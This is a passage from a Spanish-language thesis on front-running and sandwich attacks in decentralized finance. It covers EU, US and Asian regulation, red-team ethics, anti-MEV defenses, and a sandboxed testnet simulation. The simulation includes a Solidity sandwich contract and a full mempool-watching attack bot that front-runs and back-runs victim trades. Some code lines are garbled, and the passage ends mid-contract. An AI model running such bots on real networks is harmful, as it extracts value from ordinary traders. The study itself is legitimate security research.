import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";

contract SandwichAttack {
    IUniswapV2Router02 public router;
    constructor(address _router) { router = IUniswapV2Router02(_router); }
    function execute(address tokenIn, address tokenOut, uint amountIn) external {
        address;
        path[0] = tokenIn;
        path[1] = tokenOut;
        // Front-run
        router.swapExactTokensForTokens(amountIn, 0, path, address(this), block.timestamp);
        // Back-run
        uint outAmt = IERC20(tokenOut).balanceOf(address(this));
```

```
15          address;
16          rev[0] = tokenOut;
17          rev[1] = tokenIn;
18          router.swapExactTokensForTokens(outAmt, 0, rev, msg.sender,
    block.timestamp);
19      }
20  }
```

1. **Importación del router de Uniswap v2**

   El contrato incluye la interfaz `IUniswapV2Router02` del periphery de Uniswap, que expone funciones como `swapExactTokensForTokens` (*OpenZeppelin Contracts Documentation* 2024).

2. **Almacenamiento de la dirección del router**

   En el constructor se guarda la dirección del router desplegado (por ejemplo `0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D` en Mainnet) en la variable `router`.

3. **Función execute**

   - **Parámetros**:
   - `tokenIn`, `tokenOut`: dirección de los tokens a intercambiar.
   - `amountIn`: cantidad inicial de `tokenIn` que el atacante utilizará.

   Rutas de swap: Se construyen dos arrays `path` y `rev` para indicar la ruta de intercambio directa e inversa entre ambos tokens.

4. **Front-run**:

   `router.swapExactTokensForTokens(amountIn, 0, path, address(this), block.timestamp)` ejecuta un swap de `amountIn` unidades de `tokenIn` por `tokenOut`, depositando los tokens resultantes en el propio contrato antes de la operación víctima.

5. **Cálculo del balance obtenido**

   `IERC20(tokenOut).balanceOf(address(this))` lee cuántos `tokenOut` recibió el contrato, usando la función estándar `balanceOf` de la interfaz ERC-20 de OpenZeppelin.

CAPÍTULO 3

Impacto y Análisis Ético-Legal

3.1. Marco Legal y Regulaciones

3.1.1. Europa: MiCA y la supervisión de abuso de mercado

La **Regulación Markets in Crypto-Assets (MiCA)** establece un régimen armonizado para criptoactivos en toda la UE, incluyendo medidas específicas para prevenir y detectar abuso de mercado en criptos, tales como el Front Running (ESMA, 2023).

En abril de 2025, la **ESMA** publicó unas directrices finales (ESMA75-453128700-1408) que concretan obligaciones de supervisión para las autoridades nacionales, exigiendo:

1. **Monitoreo activo** de órdenes y transacciones sospechosas en exchanges de criptoactivos.
2. **Notificaciones inmediatas** de posibles manipulaciones al supervisor nacional.
3. **Controles de transparencia** sobre los libros de órdenes y parámetros de slippage en AMM (Andrew Henderson, 2025).

   MiCA impone sanciones administrativas y penales a entidades que faciliten prácticas de manipulación, equiparándolas a las contempladas en el régimen MAR de instrumentos financieros tradicionales (ESMA, s.f.).

3.1.2. Estados Unidos: la Crypto Task Force y la visión de la SEC

La **SEC** creó en 2018 la Crypto Task Force, con el mandato de definir líneas claras entre valores y no-valores, elaborar marcos de divulgación y desplegar recursos de enforcement contra malas prácticas, incluido el Front Running (Securities y Commision, 2023).

En mayo de 2025, el presidente de la SEC, Paul Atkins, anunció un plan para establecer reglas claras sobre tokens considerados valores, fomentar el uso de ATS para criptos y "detener el comportamiento indebido" sin sesgos políticos (Lang, 2025).

Paralelamente, la SEC ha litigado contra plataformas como Coinbase, aunque recientemente acordó retirar cargos en un convenio que da prioridad a crear guías regulatorias antes que perseguir casos aislados (Securities y Commision, s.f.).

La SEC aplica las normas de la **Securities Exchange Act** a los criptoactivos calificados como valores, persiguiendo manipulaciones de mercado y front running bajo las secciones 9(a)(2) y 10(b) del Act (Paul S. Atkins, 2025).

3.1.3. Asia-Pacífico: diversidad de enfoques

En **Japón**, la FSA prohíbe explícitamente actos desleales como manipulación de mercado, trading encubierto y Front Running en su marco regulatorio de criptoactivos, obligando a KYC, reporte de transacciones sospechosas y publicación de información detallada de contratos y tarifas (CCI, 2023).

En **Singapur**, la MAS presentó en julio de 2023 una consulta para reforzar medidas de integridad de mercado, incluyendo prohibición de prácticas desleales y requisitos de transparencia para plataformas de intercambio (Josephine Law, 2023).

En **China**, aunque el trading minorista está restringido, las autoridades debaten mecanismos para manejar grandes volúmenes de criptos incautadas y sancionar operaciones ilícitas, reflejo de un enfoque dual de represión y control estatal (Reuters, 2025).

El **APAC Blockchain Center** de Chainalysis destacaba en 2023 cómo la región busca equilibrar innovación y protección al consumidor, adoptando estándares del FATF para evitar lavado de dinero y abuso de mercado (Team, 2023).

3.2. Consecuencias Éticas

3.2.1. Transparencia versus abuso

La transparencia inherente de las blockchains públicas—con cada transacción visible en el mempool—favorece la innovación y la confianza, pero simultáneamente expone a usuarios finales a tácticas depreda^{9}s como el Front Running (Białas, 2023).

Desde la óptica ética, la pregunta central es si estas vulnerabilidades provienen de un **fallo de diseño** (por ejemplo, ausencia de privacidad en el mempool) o si son una **explotación inevitable** de sistemas abiertos.

Varios autores argumentan que, mientras no existan mecanismos criptográficos de ocultación de transacciones (como Transacciones Submarinas o Commit–Reveal), el MEV formará parte intrínseca de DeFi y requerirá soluciones de gobernanza y diseño para mitigar sus peores efectos (Vijay Mohan, 2024).

3.2.2. El papel del Red Team en ciberseguridad

Los **Red Teams** especializados en redes blockchain desempeñan un rol dual: por un lado, identifican y explotan vulnerabilidades de MEV para demostrar riesgos, y por otro, colaboran con desarrolladores para implementar parches y buenas prácticas (Ishmaev, 2025).

Ética profesional exige que, tras descubrir un vector de Front Running, el Red Team realice una **divulgación responsable**:

1. **Notificar** a los equipos de desarrollo de protocolos afectados.
2. **Proporcionar pruebas de concepto** y recomendaciones de mitigación.
3. **Permitir un periodo de corrección** antes de publicar hallazgos públicamente (Ishmaev, 2025).

   Este enfoque balancea la necesidad de seguridad con la transparencia académica y comercial, reforzando la confianza de usuarios e inversores.

3.3. Estrategias Anti-MEV

3.3.1. Commit–Reveal y Submarine Sends

El **commit–reveal** introduce dos fases en la transacción: primero un compromiso críptico de la operación (commit), luego la revelación del contenido, evitando que el mempool conozca detalles hasta el último momento (*Flashbot Documentation* 2024).

Las **submarine sends** (envíos submarinos) usan transacciones transaccionales disfrazadas con configuraciones de nonce o gas de forma que su propósito real solo se desvela en la fase de ejecución (Flashbots, 2024).

Ambas técnicas reducen la ventana de exposición de datos críticos (tokens, ruta de swap, cantidades), complicando la tarea de los bots de MEV para identificar oportunidades de Front Running.

3.3.2. Proposer–Builder Separation (PBS)

La **separación Proposer–Builder** (PBS) desacopla a los validadores (proposers) de quienes ordenan las transacciones (builders), introduciendo un mercado competitivo de construcción de bloques en capa extra (el "Relay Layer") (Team, 2024).

En PBS, los builders compiten ofertando bundles con mayor rentabilidad para los proposers, y solo los datos cifrados de las transacciones se envían al validador, evitando filtraciones en el mempool público.

Este diseño, implementado parcialmente en **Flashbots Auction**, ha demostrado reducir la probabilidad de frontrunning público y redistribuir MEV de manera más equitativa entre participantes del sistema (*Flashbot Documentation* 2024).

3.3.3. Mejoras en Ethereum 2.0

Con la transición a **Proof of Stake**, Ethereum 2.0 brinda nuevas palancas para mitigar MEV:

- **Ejecución de bloques asignados** por el Proposer con slots predecibles, combinado con PBS para ocultar contenido hasta el momento de la propuesta.
- **Incentivos rediseñados** para validadores que penalizan la inclusión de transacciones maliciosas o privilegian la ordenación justa de ops (Alex Obadia, 2021).

- **Mejoras de consenso** (EIP-1559, EIP-1559-like fee market) que flexibilizan el cálculo de comisiones, reduciendo variaciones drásticas en gas price que los atacantes explotan para secuenciar sus ataques (Zouarhi, 2023).

CAPÍTULO 4

Desarrollo e Implementación de un Bot de Simulación de Ataques

Al asumir la perspectiva de un atacante (Red Team), el objetivo principal fue **entender y ejecutar el ataque paso a paso**, incluso en un escenario muy controlado o artificial. Aunque el escenario no replicaba completamente las condiciones reales (como el estado real de la mempool o la presencia de otros actores), permitió focalizar en la **lógica técnica**: identificar cómo detectar una transacción víctima, inyectar una transacción de front-run, esperar su inclusión y ejecutar un back-run. Este enfoque "sandbox"facilitó aprender el flujo completo sin distracciones externas.

Una vez interiorizado el mecanismo del sandwich attack, el siguiente paso fue trasladar ese conocimiento a un escenario más realista. Esto implica condiciones mucho más cercanas a la red principal:

- **Mempool auténtica**, con otras transacciones y una competición natural por gas.
- **Pares de tokens reales**, con pools de liquidez fluctuantes.
- **Slippage, costes de transacción reales y límites de gas**, todo necesario para evaluar viabilidad y rentabilidad.

La idea es replicar exactamente los mismos pasos que funcionaron en el entorno controlado, pero en un escenario que simule cómo se comporta realmente la red. Así se obtienen **conclusiones prácticas y aplicables**.

Aunque las fases del ataque (monitorización, front-run, víctima, back-run) son idénticas, **los contextos hacen que el resultado sea totalmente distinto**:

- En un escenario **fabricado (4.2 DEX ficticio)**, no hay competencia por bloques, las transacciones son predecibles, y la liquidez se ajusta artificialmente para que el ataque siempre tenga éxito.
- En un escenario **realista (4.3 Uniswap simulado)**, entran en juego:
  - Otros usuarios pujando por el mismo bloque.
  - Cambios de precio repentinos por actividad conjunta.
  - Slippage que puede arruinar la ganancia.

- Y movimiento real de liquidez que puede repeler o potenciar el ataque.

Por eso, sólo haciendo la prueba en una red de testnet o un nodo local con una mempool activa se pueden obtener métricas válidas.

4.1. Entorno Blockchain de Pruebas

Se realiza todo en un entorno de pruebas, ya que realizarlo en una entorno real blockchain sería muy costoso y complejo de obtener métricas válidas para el estudio que estamos realizando.

Por tanto, para los dos escenarios de ataques se ha utilizado la herramienta de Kurtosis y Hardhat por su fácil comprensión y utilización. Gracias a estas, podemos desplegar redes blockchain y ejecutar contratos inteligentes, además de poder ver por consola lo que está sucediendo en tiempo real. Revise el anexo A para seguir las instrucciones apropiadas para la realización de este bot.

4.1.1. Kurtosis

Para poder realizar la simulación, primero se necesita de un entorno controlado; para ello, utilizamos Kurtosis. Esta herramienta despliega una serie de contenedores Docker con la imagen que se pase por parámetro para poder trabajar con ella.

La imagen de los contenedores la obtenemos de `github.com/ethpandaops/ethereum-package`. Se trata de un paquete de Kurtosis que pondrá en marcha una red de pruebas privada de Ethereum sobre Docker o Kubernetes con soporte multicliente, la infraestructura de Flashbot para pruebas/validación relacionadas con PBS y otras herramientas de red útiles (spammer de transacciones, herramientas de monitorización, etc.). Los paquetes Kurtosis son totalmente replicables y componibles, por lo que funcionarán de la misma manera sobre Docker o Kubernetes, en la nube o localmente en su máquina (Ethpandaops, 2025a).

Dentro de este paquete se puede encontrar el fichero `genesis_constants.star` donde se pueden obtener las claves privadas y públicas de las cuentas que ya tienen fondos dentro de la red que se está por crear. Será necesario elegir dos cuentas y guardar sus claves privadas, cada una en un fichero, así será más fácil de importar al contenedor docker y a la red con geth. Además, se añadirán las direcciones privadas al fichero `.env` para su inclusión posterior en la configuración de Hardhat.

Además, tendremos un archivo `network_params.yaml` con la configuración de la red donde podemos definir el tipo de clientes, su cantidad, el ID de la red y servicios adicionales A.4.2. El entorno de desarrollo que tendrá esta implementación constará de un participante con una `execution layer` de geth y `concensous layer` de lighthouse, el ID de la red de prueba será `585858` y además tendrá dos servicios adicionales de los cuales se puede recabar bastante información de nuestra red blockchain.

Estos servicios son:

Dora

Este es un explorador ligero de beaconchain.

Un explorador de Beaconchain es una herramienta que permite a los usuarios ver e interactuar con los datos en la Ethereum Beacon Chain. Es similar a un explorador de blockchain, que permite a los usuarios ver datos en una blockchain, como el estado actual de las transacciones y bloques, pero enfocado en explorar la beaconchain.

Este explorador "livianoçarga la mayor parte de la información directamente desde una API estándar de nodo beacon subyacente, lo que lo hace mucho más fácil y barato de ejecutar (no se requiere una base de datos propietaria de terceros como bigtables)(Ethpandaops, 2025b).

Blockscout

Blockscout proporciona una interfaz completa y fácil de usar para que los usuarios vean, confirmen e inspeccionen transacciones en blockchains EVM (Ethereum Virtual Machine). Esto incluye Ethereum Mainnet, Ethereum Classic, Optimism, Gnosis Chain y muchos otros testnets de Ethereum, redes privadas, L2s y sidechains.

Blockscout permite a los usuarios buscar transacciones, ver cuentas y balances, verificar e interactuar con contratos inteligentes y ver e interactuar con aplicaciones en la red Ethereum incluyendo muchas bifurcaciones, sidechains, L2s y testnets (Blockscout, 2025).

4.1.2. Hardhat

Una vez desplegada la red, se necesitará desplegar los `smart contracts` y los `tokens` que se van a ser necesarios para que las cuentas realicen transacciones y poder simular el ataque, esto se podrá realizar gracias a Hardhat A.5.

Al ser un proyecto `Nodejs`, habrá que instalar una serie de paquete. Una vez instalado, se deberá editar el fichero de configuración `hardhat.config.js`, se puede observar que para las dos simulaciones realizadas hay dos archivos diferentes, si bien es cierto que esto tiene explicación, pero la base de ambos archivos es la misma A.5.2.

Se debe importar el paquete de `@nomicfoundation/hardhat-ethers` que permite a Hardhat utilizar el paquete Ethereum ethers.js (*Ethers v5.7* s.f.). Además del paquete `dotenv`, este lo que permite es poder adjuntar variables de entorno desde otro fichero privado para que toda la ejecución sea segura, y en caso de subir este tipo de proyectos a repositorios públicos no comprometer las claves privadas de cuentas.

```
1 require("@nomicfoundation/hardhat-ethers");
2 require("dotenv").config();
```

También se tiene `module.exports` donde se define qué se hace accesible desde fuera de un módulo en Node.js. Aquí se tiene la configuración de la red Kurtosis para que los scripts ejecutados en Hardhat afecten a nuestro entorno simulado, además del módulo de `solidity`, para que compilen los contratos que se van a utilizar.

Cabe mencionar que Hardhat también puede desplegar su propia red de prueba con `prefunded accounts` como entorno simulado, pero no dispone de una mempool ni simulación de nodos reales, como es el caso de la red que tenemos desplegada en Kurtosis, y por eso no se opta por esta opción para realizar la simulación.

```
module.exports = {
  networks: {
    localhost: {
      url: process.env.RPC_URL,
      chainId: 585858,
      accounts: [process.env.PRIVATE_KEY, process.env.PRIVATE_KEY2]
    }
  },
  solidity: {
    compilers: { version: "0.8.19" },
  },
};
```

Se puede apreciar de la red que el `chainID` es el mismo que ya fue definido para la red Kurtosis, la `url` es la dirección al puerto rcp del contenedor desplegado por Kurtosis que contiene la blockchain en la que se va a trabajar y las `accounts` son las dos direcciones privadas de las `prefunded accounts` que se van a utilizar para el ataque simulado. Dentro del módulo de `solitidy` solo se encuentra la versión en la que se quiere que se compilen los contratos.

Por último, dentro del archivo de configuración se pueden definir funciones que se pueden utilizar para hacer pruebas y comprobaciones antes de comenzar con el despliegue de contratos y `tokens` en la red blockchain.

```
task("test", "Prueba hre.ethers")
  .setAction(async (_, hre) => {
    console.log("Ethers disponible:", hre.ethers !== undefined);
  });

task("balances", "Muestra los balances de las cuentas")
  .setAction(async (_, hre) => {
    const ethers = hre.ethers;
    const accounts = await ethers.getSigners();

    for (const account of accounts) {
      const balance = await ethers.provider.getBalance(account.address);
      const balanceInEther = Number(balance) / 1e18; // Convierte wei a
   ether
      console.log(`Cuenta: ${account.address}, Balance: ${balanceInEther
   } ETH`);
    }
  });
```

Están presentes en el archivo de configuración dos funciones:

La función `test` que permite comprobar que el paquete de `Ethers` esté disponible en caso de que existan problemas con la instalación de estos en el proyecto.

La función `balances` facilita la comprobación del saldo `Ether` de las cuentas en la red en la que se está trabajando.

4.1.3. Inicio de Red

Para iniciar la red se puede seguir el anexo A.4.3. Una vez iniciada y con todo lo necesario dentro, será necesario importar las cuentas que tendremos en los ficheros `cuenta1.txt` y `cuenta2.txt` con `geth`.

Entramos a la consola del contenedor de la red.

```
docker exec -it 2959d80e6e58 sh
```

Una vez dentro, se importan las cuentas, podemos poner contraseñas vacías al ser un entorno controlado.

```
geth account import cuenta1.txt
geth account import cuenta2.txt
```

Las cuentas estarán importadas, pero no se verán en la red porque no se encuentra el fichero de la cuenta en el directorio donde la red debe leerlo, para ello se realiza lo siguiente:

```
cp /root/.ethereum/keystore/UTC--... /data/geth/execution-data/keystore
cp /root/.ethereum/keystore/UTC--... /data/geth/execution-data/keystore
```

Se puede comprobar que todo se realizó con éxito entrando en la consola `geth` y comprobando las cuentas.

```
geth attach http://127.0.0.1:8545
eth.accounts
[0x...,0x...]
```

Si en el array de cuentas aparecen las direcciones públicas de las cuentas importadas todo habrá sido realizado con éxito.

Además, podemos comprobar que Hardhat está bien conectado a la red Kurtosis ejecutando:

```
npx hardhat run balances --network localhost
Cuenta: 0x8943545177806ED17B9F23F0a21ee5948eCaa776, Balance: 1000000000 ETH
Cuenta: 0xE25583099BA105D9ec0A67f5Ae86D90e50036425, Balance: 1000000000 ETH
```

4.2. Escenario 1: DEX ficticio

En esta sección se podrá encontrar todo lo relacionado con los contratos y los scripts utilizados para la simulación del ataque en el primer entorno.

Contratos

Una vez establecida la red que será utilizada para ambas simulaciones, comenzamos con los `scripts` y contratos para nuestro DEX ficticio.

SimpleDEX.sol B.0.1

Definición del contrato y variables de estado

```
contract SimpleDEX {
    mapping(address => uint256) public balances;
    uint256 public ethReserve;
    uint256 public tokenReserve;
    address public owner;
```

- `balances`: Asocia cada dirección con su saldo de tokens en el DEX.
- `ethReserve`: Cantidad total de ETH almacenado en el contrato.
- `tokenReserve`: Cantidad total de tokens disponibles en el contrato.
- `owner`: Dirección del creador del contrato, que tiene permisos especiales.

Constructor

```
    constructor() payable {
        ethReserve = msg.value;
        tokenReserve = 1000000 ether; // Tokens iniciales
        owner = msg.sender;
    }
```

- El constructor es `payable`, por lo que acepta ETH al momento del despliegue.
- Inicializa la reserva de ETH (`ethReserve`) con el valor enviado.
- Asigna una reserva inicial de 1,000,000 tokens (con 18 decimales).
- Establece el `owner` del contrato como el desplegador.

Función buy: comprar tokens con ETH

```
    function buy() public payable {
        uint256 tokensToBuy = msg.value * tokenReserve / ethReserve;
        require(tokensToBuy <= tokenReserve, "Not enough tokens");

        balances[msg.sender] += tokensToBuy;
        tokenReserve -= tokensToBuy;
        ethReserve += msg.value;
    }
```

- Calcula cuántos tokens puede comprar el usuario con la fórmula de reserva:

$$\text{tokensToBuy} = \frac{\text{msg.value} \times \text{tokenReserve}}{\text{ethReserve}}$$

- Verifica que haya suficientes tokens.
- Aumenta el balance de tokens del comprador.

- Disminuye la reserva de tokens y aumenta la de ETH.

Nota: Este DEX **no aplica comisiones** ni curva de precios automatizada (como Uniswap), solo una regla proporcional sencilla.

Función sell: vender tokens por ETH

```
    function sell(uint256 tokenAmount) public {
        require(balances[msg.sender] >= tokenAmount, "Insufficient
    balance");

        uint256 ethToReturn = tokenAmount * ethReserve / tokenReserve;
        require(address(this).balance >= ethToReturn, "DEX has no ETH");

        balances[msg.sender] -= tokenAmount;
        tokenReserve += tokenAmount;
        ethReserve -= ethToReturn;

        payable(msg.sender).transfer(ethToReturn);
    }
```

- Verifica que el usuario tenga suficientes tokens.
- Calcula cuántos ETH puede recibir usando una fórmula proporcional similar:

$$\text{ethToReturn} = \frac{\text{tokenAmount} \times \text{ethReserve}}{\text{tokenReserve}}$$

- Verifica que el contrato tenga suficiente ETH.
- Actualiza los saldos y transfiere ETH al usuario.

Función auxiliar mintTokens: solo para el owner

```
    function mintTokens(address to, uint256 amount) external {
        require(msg.sender == owner, "Only owner");
        balances[to] += amount;
        tokenReserve += amount;
    }
}
```

- Permite al `owner` del contrato crear nuevos tokens y asignarlos a una dirección.
- Aumenta tanto el saldo del destinatario como la reserva total de tokens.

Esta función puede ser usada por un bot atacante en un entorno simulado para facilitar pruebas.

Scripts

deploySimpleDEX.js B.0.2

Este script despliega un contrato inteligente llamado SimpleDEX en una red local o testnet utilizando el entorno de desarrollo Hardhat.

```
const { ethers } = require("hardhat");
```

- Se importa el objeto ethers desde Hardhat, que proporciona acceso a utilidades de Ethereum, como la gestión de cuentas, despliegue de contratos, etc.

Primer signer

```
const [deployer] = await ethers.getSigners();
console.log("Deploying with:", deployer.address);
```

- Obtiene el primer signer (cuenta) proporcionado por Hardhat, que actuará como el desplegador del contrato.
- Imprime en consola la dirección del desplegador para fines de trazabilidad.

Liquidez inicial

```
const initialLiquidity = ethers.parseEther("100");
```

- Define una cantidad de liquidez inicial (100 ETH) que se enviará junto al despliegue del contrato.
- parseEther(”100”) convierte 100 unidades legibles por humanos a wei (unidad base de Ethereum).

Despligue de Contrato

```
const DEX = await ethers.getContractFactory("SimpleDEX");
const dex = await DEX.deploy({ value: initialLiquidity });
await dex.waitForDeployment();
console.log("DEX deployed to:", await dex.getAddress());
```

- Obtiene una fábrica de contratos (ContractFactory) para el contrato SimpleDEX, ya compilado por Hardhat.
- Despliega el contrato en la red, enviando 100 ETH como valor inicial (probablemente para usarlo como liquidez inicial del DEX).
- Espera a que el contrato se haya desplegado y minado correctamente.
- Imprime en consola la dirección del contrato desplegado.

victim-buy.js B.0.2

Estas líneas iniciales:

```
// Carga variables de entorno desde el archivo .env
require("dotenv").config();

// Importa el objeto ethers desde Hardhat
const { ethers } = require("hardhat");
```

- Permiten el uso de variables como `RPC_URL`, `PRIVATE_KEY2` y `DEX_ADDRESS` desde un archivo `.env`.
- Importan `ethers` desde el entorno de Hardhat para interactuar con la blockchain.

Función principal asíncrona

```
async function main() {
  const provider = new ethers.JsonRpcProvider(process.env.RPC_URL);
```

- Se crea un **proveedor RPC** que se conecta a la red especificada (por ejemplo, tu nodo local en Kurtosis o un nodo remoto).
- `RPC_URL` puede ser algo como `http://localhost:8545`.

Carga de la cuenta víctima

```
  const victim = new ethers.Wallet(process.env.PRIVATE_KEY2, provider);

```

- Se crea una **cartera Ethers** (wallet) para la víctima con su clave privada (`PRIVATE_KEY2`) y se conecta al proveedor.

Dirección del contrato DEX

```
  const dexAddress = process.env.DEX_ADDRESS;
```

- Obtiene la dirección del contrato DEX desplegado desde la variable de entorno `DEX_ADDRESS`.

ABI mínima del contrato

```
  const abi = ["function buy() payable"];
  const dex = new ethers.Contract(dexAddress, abi, victim);
```

- Define una interfaz ABI mínima solo con la función `buy()`.
- Crea una instancia del contrato DEX accesible desde la cuenta víctima.

Simulación de compra de tokens

```
const tx = await dex.buy({ value: ethers.parseEther("0.5") });
```

- Llama a la función `buy()` enviando **0.5 ETH**, lo que simula una operación de compra de tokens.

Simulación de lentitud

```
await new Promise(r => setTimeout(r, 4000)); // Espera 4 segundos
 simulando usuario lento
```

- Simula que la víctima es un usuario lento, lo cual puede dar tiempo a bots para hacer **front running** o **ataques sandwich**.

Espera a que se confirme la transacción.

```
await tx.wait();
```

- Espera a que la transacción sea incluida en un bloque y se confirme en la red.

Confirmación en consola

```
console.log("Victima ha comprado tokens. TX:", tx.hash);
```

- Imprime el hash de la transacción para seguimiento.

attack-bot.js B.0.2

```
require("dotenv").config();
const { ethers } = require("ethers");
```

- Carga las variables del archivo `.env`.
- Importa `ethers` para interactuar con la red Ethereum.

Configuración de red y cuenta atacante

```
const provider = new ethers.JsonRpcProvider(process.env.RPC_URL);
const attacker = new ethers.Wallet(process.env.PRIVATE_KEY, provider);
const dexAddress = process.env.DEX_ADDRESS.toLowerCase();
```

- Se conecta al nodo (por ejemplo, Geth simulado) usando la URL RPC.
- Crea una **cartera de ataque** con `PRIVATE_KEY`.
- Normaliza la dirección del DEX a minúsculas para comparación exacta.

Definición de la interfaz del contrato DEX

```
const iface = new ethers.Interface([
  "function buy() payable",
  "function sell(uint256)",
  "function balances(address) view returns (uint256)"
]);
```

- Se crea una ABI mínima para poder interactuar con las funciones necesarias del contrato DEX.

Instancia del contrato

```
const dex = new ethers.Contract(dexAddress, iface, attacker);
const seenTxs = new Set();
```

- Se conecta al contrato DEX desde la cuenta atacante.
- `seenTxs` es un conjunto que guarda transacciones ya procesadas para no repetir ataques.

Función principal de ataque: attackSandwich

```
async function attackSandwich(targetTx) {
  console.log("Victima detectada:", targetTx.hash);
```

- Se ejecuta cuando se detecta una transacción candidata de una víctima.

Captura de saldo inicial

```
  const ethBefore = await provider.getBalance(attacker.address);
```

- Guarda el saldo ETH del atacante antes del ataque para calcular beneficios.

Paso 1: Front-run

```
  const frontTx = await dex.buy({
    value: ethers.parseEther("1"),
    gasLimit: 300000,
    maxFeePerGas: ethers.parseUnits("30", "gwei"),
    maxPriorityFeePerGas: ethers.parseUnits("2", "gwei"),
  });
```

- Compra 1 ETH en tokens **justo antes** de que la víctima ejecute su transacción.
- Se ajustan los parámetros de gas para **adelantarse** en el orden de ejecución.
- Se espera a que la transacción se mine.

Paso 2: Esperar a la víctima

```
  let receipt = null;
  while (!receipt) {
    try {
      receipt = await provider.getTransactionReceipt(targetTx.hash);
    } catch (e) {
      await new Promise((r) => setTimeout(r, 2000));
    }
  }
```

- Se espera activamente hasta que la transacción de la víctima haya sido confirmada.

Paso 3: Back-run

```
  const tokens = await dex.balances(attacker.address);
  const backTx = await dex.sell(tokens);
  await backTx.wait();
```

- Tras la subida del precio provocada por la víctima, el bot **vende los tokens** (idealmente a un precio mayor).
- Espera a que se confirme la venta.

Cálculo de beneficio

```
  const ethAfter = await provider.getBalance(attacker.address);
  const profit = ethAfter - ethBefore;

  console.log("Beneficio: ", ethers.formatEther(profit), "ETH");
}
```

- Calcula y muestra la diferencia de saldo ETH, es decir, la **ganancia** obtenida por el ataque sandwich.

Módulo de monitoreo de mempool

```
async function monitorMempool() {
  try {
    const pending = await provider.send("eth_pendingTransactions", []);
```

- Obtiene la lista de transacciones pendientes (mempool).
- Solo funciona si el nodo está configurado para exponer esta información (como Geth con `txpool` habilitado).

Filtrado de transacciones

```
    for (const tx of pending) {
      if (!tx.to || seenTxs.has(tx.hash)) continue;

      if (tx.to.toLowerCase() === dexAddress && tx.from.toLowerCase()
   !== attacker.address.toLowerCase()) {
        seenTxs.add(tx.hash);
        await attackSandwich(tx);
      }
    }
```

- Ignora transacciones sin destinatario o ya procesadas.
- Filtra solo las que van dirigidas al contrato DEX y **no** son del atacante.
- Ejecuta el ataque sandwich para cada transacción víctima detectada.

Bucle periódico

```
setInterval(monitorMempool, 2500);
```

- Ejecuta `monitorMempool()` cada **2.5 segundos**, escaneando el mempool en busca de víctimas.

4.3. Escenario 2: Réplica Uniswap Local

En esta sección se podrá encontrar todo lo relacionado con los contratos y los scripts utilizados para la simulación del ataque en el entorno Uniswap desplegado en nuestra red local.

Contratos

Siguiendo la misma dinámica, se realizará el mismo ataque, pero en un entorno más cercano a la realidad.

UniswapV2F.sol

```
// Importa la Factory de V2-Core
pragma solidity =0.5.16;
import "@uniswap/v2-core/contracts/UniswapV2Factory.sol";
```

`UniswapV2Factory` es el **contrato principal del core de Uniswap**. Se encarga de:

- Crear nuevos **pares de tokens** (liquidity pools).
- Almacenar la lista de todos los pares (`getPair`, `allPairs`).
- Gestionar quién puede crear pares (propietario del contrato).

Cada vez que se desea habilitar un nuevo mercado entre dos tokens ERC-20, la Factory despliega un contrato de tipo UniswapV2Pair, que actúa como un pool de liquidez para ese par específico. Además, mantiene un registro de todos los pares creados, permitiendo a otros contratos y aplicaciones consultar y acceder a estos pools de manera eficiente.

UniswapV2R.sol

```
// Importa el Router02 de V2-Periphery
pragma solidity =0.6.6;
import "@uniswap/v2-periphery/contracts/UniswapV2Router02.sol";
```

- `UniswapV2Router02` es el contrato del **periphery** que proporciona funciones de alto nivel para:
  - Hacer swaps entre tokens y ETH.
  - Añadir y retirar liquidez.
  - Calcular rutas y cantidades para los intercambios.
- Internamente, el router llama a la Factory y a los pares LP (de V2-Core).

El Router actúa como un intermediario que simplifica la experiencia del usuario y la integración con aplicaciones descentralizadas, permitiendo realizar múltiples operaciones en una sola transacción.

WETH9.sol

`WETH9` es la implementación estándar del contrato **Wrapped Ether (WETH)** usada por Uniswap. Su propósito es envolver ETH (Ether) en un token ERC-20, permitiendo que pueda interactuar con contratos que requieren tokens compatibles con el estándar ERC-20 (como Uniswap V2).

```
pragma solidity =0.6.6;
```

- Define que el contrato debe compilarse **exactamente con Solidity 0.6.6**, asegurando compatibilidad con los entornos donde Uniswap V2 opera.

Variables públicas

```
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
```

- Define los metadatos del token WETH, siguiendo la convención de los tokens ERC-20.

```
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
```

- `balanceOf`: almacena el saldo de WETH de cada dirección.

- `allowance`: define cuánto puede gastar otra dirección en nombre del propietario (como en ERC-20).

Eventos

```
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
```

- Se disparan cuando ocurren acciones importantes como aprobación de gasto, transferencias, depósitos y retiros.

deposit()

```
function deposit() public payable {
    balanceOf[msg.sender] += msg.value;
    emit Deposit(msg.sender, msg.value);
}
```

- Permite a cualquier usuario **depositar ETH** y recibir la misma cantidad de WETH.
- ETH se queda bloqueado en el contrato, y se refleja como WETH en `balanceOf`.

withdraw(uint wad)

```
function withdraw(uint wad) public {
    require(balanceOf[msg.sender] >= wad, "");
    balanceOf[msg.sender] -= wad;
    msg.sender.transfer(wad);
    emit Withdrawal(msg.sender, wad);
}
```

- Convierte WETH de nuevo a ETH.
- Elimina WETH del balance del usuario y **libera ETH** de vuelta a su cuenta.

totalSupply()

```
function totalSupply() public view returns (uint) {
    return address(this).balance;
}
```

- El total de WETH en circulación es igual al ETH almacenado en el contrato.

approve, transfer, transferFrom

- Implementa las funciones estándar del token ERC-20:

```
function approve(address guy, uint wad) public returns (bool)
```

- Permite a guy gastar wad unidades en nombre del msg.sender.

```
function transfer(address dst, uint wad) public returns (bool)
```

- Envía `wad` WETH desde `msg.sender` a `dst`.

```
function transferFrom(address src, address dst, uint wad)
```

- Permite transferencias si se ha aprobado previamente un gasto.

El contrato no hereda explícitamente de ERC20, pero implementa su funcionalidad básica.

El fallback() comentado en el código era utilizado en versiones antiguas para permitir send ETH directamente como depósito, pero quedó obsoleto desde Solidity 0.6.x.

UCO.sol

```
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
```

Este contrato implementa un token ERC-20 llamado **Tether UMA (UMA)**, basado en los contratos de la biblioteca de OpenZeppelin. Hereda de `ERC20`, que proporciona las funcionalidades estándar de un token ERC-20, y de `Ownable`, que permite controlar los permisos administrativos del contrato.

Constructor

```
constructor()
